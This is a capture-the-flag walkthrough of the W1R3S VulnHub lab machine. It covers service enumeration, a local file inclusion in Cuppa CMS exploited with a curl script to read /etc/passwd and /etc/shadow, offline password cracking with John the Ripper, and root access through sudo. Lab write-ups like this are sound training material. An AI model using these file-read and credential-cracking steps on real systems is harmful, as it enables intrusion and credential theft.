This post documents the complete walkthrough of W1R3S: 1.0.1, a boot2root VM created by SpecterWires, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


Someone hires you to do a penetration test on the individual server and report all findings. They ask you to gain root access and find the flag (located in /root directory).

Information Gathering

Let’s kick this off with a nmap scan to establish the services available in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
21/tcp   open  ftp     syn-ack ttl 64 vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23 11:21 content
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23 11:25 docs
|_drwxr-xr-x    2 ftp      ftp          4096 Jan 28 16:53 new-employees
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
|_  256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open  mysql   syn-ack ttl 64 MySQL (unauthorized)

As usual, let’s go with directory/file enumeration on the web service and see what we get.

Directory/File Enumeration

I like to use gobuster with one of the big directory wordlists.

Gobuster v1.1                OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirb/wordlists/big.txt
[+] Status codes : 200,204,301,302,307
[+] Expanded     : true
===================================================== (Status: 301) (Status: 301) (Status: 301)

OK. We find two interesting directories: administrator and wordpress.

Cuppa CMS

The administrator directory turns out to be the installation setup for Cuppa CMS. This is how it looks like when I point the browser to /administrator.


According to the official documentation, in order for the installation to complete, it will have to create the database first.

Remember, the database should be created before to install Cuppa CMS.

The Cuppa CMS installation was never completed in the first place or I’ll not be seeing the setup page. I downloaded a copy of the Cuppa CMS code to see if I can discover any vulnerabilities.

I’m not sure if this is a new vulnerability but it’s a pleasant surprise to find an LFI vulnerability in alertConfigField.php at line 77.


To test it, I wrote, a simple script that will display any file as long as there’s permission to do so.


curl -s --data-urlencode "${_PARM}=${_TRAV}$1" $_HOST/$_PATH \
| sed -r 's/^ {8}//' \
| sed '71,$!d' \
| sed '$d' \
| sed '$d'

Let’s give it a shot and see what we get.

# ./ /etc/passwd
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false

Imagine my surprise when I request for /etc/shadow and it shows up in the output.

# ./ /etc/shadow

I’m not sure if /etc/shadow is intentionally made world-readable; it should not be the case.

John the Ripper

With both passwd and shadow available, I can unshadow them, and send them to john for offline cracking with a wordlist like “rockyou”.

The cracking completes in seconds.

# john --format=crypt --show hashes.txt

I can now log in to the box via SSH with the cracked password.


Privilege Escalation

It isn’t long before I see that w1r3s is on the sudoers list.


Becoming root is another command away.




To be honest, I didn’t even bother with WordPress. :stuck_out_tongue_winking_eye: